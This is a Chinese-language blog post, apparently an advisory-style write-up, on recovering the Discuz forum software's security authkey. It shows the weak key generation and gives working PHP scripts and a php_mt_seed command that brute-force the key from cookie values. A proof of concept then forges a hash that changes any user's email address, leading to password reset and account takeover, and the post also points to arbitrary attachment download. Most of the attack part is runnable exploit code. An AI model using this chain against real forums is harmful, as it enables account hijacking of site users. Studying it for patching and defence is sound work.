美文网首页
Discuz 密钥泄露

Discuz 密钥泄露

作者: 索马里的乌贼 | 来源:发表于2018-09-04 15:58 被阅读0次
  1. 发布时间:2017-06-02
  2. 公开时间:N/A
  3. 漏洞类型:信息泄露
  4. 危害等级:高
  5. 漏洞编号:xianzhi-2017-06-98765357
  6. 测试版本:N/A

漏洞详情

install/include/installfunction.php 598行

function random($length) {
    $hash = '';
    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
    $max = strlen($chars) - 1;
    PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
    for($i = 0; $i < $length; $i++) {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}

php版本高于4.2.0就不播种随机数种子,由php自动生成
install/index.php 345行

$authkey = substr(md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$username.$password.$pconnect.substr($timestamp, 0, 6)), 8, 6).random(10);
        $_config['db'][1]['dbhost'] = $dbhost;
        $_config['db'][1]['dbname'] = $dbname;
        $_config['db'][1]['dbpw'] = $dbpw;
        $_config['db'][1]['dbuser'] = $dbuser;
        $_config['db'][1]['tablepre'] = $tablepre;
        $_config['admincp']['founder'] = (string)$uid;
        $_config['security']['authkey'] = $authkey;
        $_config['cookie']['cookiepre'] = random(4).'';
        $config['memory']['prefix'] = random(6).'';

$authkey由6位md5值加上random(10),6位十六进制字符其实就16^6种组合,还是可以爆破的。
$authkey用的地方超级多,主要还是authcode函数的key和部分验证字段的md5 salt
由于authcode函数比较慢,所以找了一处md5的地方
source/class/helper/helper_seccheck.php 36行

function _create($type, $code = '') {
        global $_G;
        $ssid = C::t('common_seccheck')->insert(array(
            'dateline' => TIMESTAMP,
            'code' => $code,
            'succeed' => 0,
            'verified' => 0,
        ), true);
        dsetcookie('sec'.$type, $ssid.'.'.substr(md5($ssid.$_G['uid'].$_G['authkey']), 8, 18));
    }

$_G['authkey']来自 source/class/discuz/discuz_application.php 271行

$this->var['authkey'] = md5($this->var['config']['security']['authkey'].$this->var['cookie']['saltkey']);

$this->var['cookie']['saltkey'] 在cookie中 $ssid在cookie名字中,$_G['uid']未登录状态下是0 所以未知的变量就只有'authkey'了,可以爆破。

测试方法

打开注册页面 记录几个cookie值


view.png

cookie_pre = 'EKvD'
saltkey = 'mZ8Y4i53';
seccode='9.59d540ebd26d4744ec'

有这些就足够了 先用脚本生成php_mt_seed的参数

$str = 'EKvD';
$key = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
for($i=0;$i<10;$i++){
    echo "0 0 0 0 ";
}
for($i=0;$i<strlen($str);$i++){
    $pos = strpos($key,$str[$i]);
    echo $pos." ".$pos." 0 61 ";
}

#./php_mt_seed 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 4 0 61 10 10 0 61 57 57 0 61 3 3 0 61 >1.txt
#cat 1.txt | awk '{print $3}'|tr -s '\n' >seeds.txt

然后用脚本爆破authkey

<?php
$seeds_file = file_get_contents('seeds.txt');
$seeds = explode("\n",$seeds_file);
for($i=0;$i<count($seeds);$i++){
    mt_srand(intval($seeds[$i]));
    $auth_key = random(10);
    $tmp = random(4);
    if($tmp == 'EKvD'){
        echo "=====================================\n";
        echo "seed:".intval($seeds[$i])."\n";
        echo "key:".$auth_key."\n";
        check($auth_key);
    }
}
function check($key){
    $saltkey = 'mZ8Y4i53';
    for($i=0;$i<16777215;$i++){
        if($i%1000000==0){
            echo ".";
        }
        if(substr(md5('90'.md5(pad($i).$key.$saltkey)),8,18)=='59d540ebd26d4744ec'){
        //90=ssid.$_G['uid'] ssid来自seccode 9 uid是0
            echo "\nFound key:".pad($i).$key;
            die();
        }
    }
    echo "\n";
}
function pad($i){
    $h = dechex($i);
    $h = strlen($h)==6?$h:str_repeat('0',6-strlen($h)).$h;
    return $h;
}
function random($length) {
    $hash = '';
    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++) {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}

php跑这个略慢 不过反正是MD5 大不了GPU跑起 经过一段时间等待之后 结果出来了


view.png

拿到这个authkey能干嘛还没仔细翻,反正authcode加解密函数相关的都能搞,这里有个简单的修改任意用户邮箱做演示
source/include/misc/misc_emailcheck.php

$uid = 0;
$email = '';
$_GET['hash'] = empty($_GET['hash']) ? '' : $_GET['hash'];
if($_GET['hash']) {
    list($uid, $email, $time) = explode("\t", authcode($_GET['hash'], 'DECODE', md5(substr(md5($_G['config']['security']['authkey']), 0, 16))));
    $uid = intval($uid);
}
if($uid && isemail($email) && $time > TIMESTAMP - 86400) {
    $member = getuserbyuid($uid);
    $setarr = array('email'=>$email, 'emailstatus'=>'1');
    if($_G['member']['freeze'] == 2) {
        $setarr['freeze'] = 0;
    }
    loaducenter();
    $ucresult = uc_user_edit(addslashes($member['username']), '', '', $email, 1);

uid email 都来自hash 这里并没有验证用户的身份就直接uc_user_edit修改了用户的email
poc:

$authkey = '1ced03UvQ3XfqWvT';
$str = "1\tfuck@fuck.com\t111111111111111"; //修改uid为1的账号邮箱为fuck@fuck.com
$hash = urlencode(authcode($str,'ENCODE',md5(substr(md5($authkey), 0, 16))));
echo $hash;

访问
http://192.168.199.191/discuz/home.php?mod=misc&ac=emailcheck&hash=2008TBCoIA%2F7hC4FhiKAjh%2B1TFLsn6T49XzAbvNhoxp48YW3VEJ9zSQ02cB8la4PAiuq4PDodBS%2BJrMm

view.png
看下数据库
view.png
修改email有什么用呢,这可是可以找回密码的噢。除了管理员 超版(adminid=1or2 )其他的像版主都可以直接找回。
类似authkey利用还有很多 比如任意附件下载
$authk = !$requestmode ? substr(md5($aid.md5($_G['config']['security']['authkey']).$t.$_GET['uid']), 0, 8) : md5($aid.md5($_G['config']['security']['authkey']).$t);
if($k != $authk) {
    if(!$requestmode) {
        showmessage('attachment_nonexistence');
    } else {
        exit;
    }
}

相关文章

网友评论

      本文标题:Discuz 密钥泄露

      本文链接:https://www.haomeiwen.com/subject/fjagwftx.html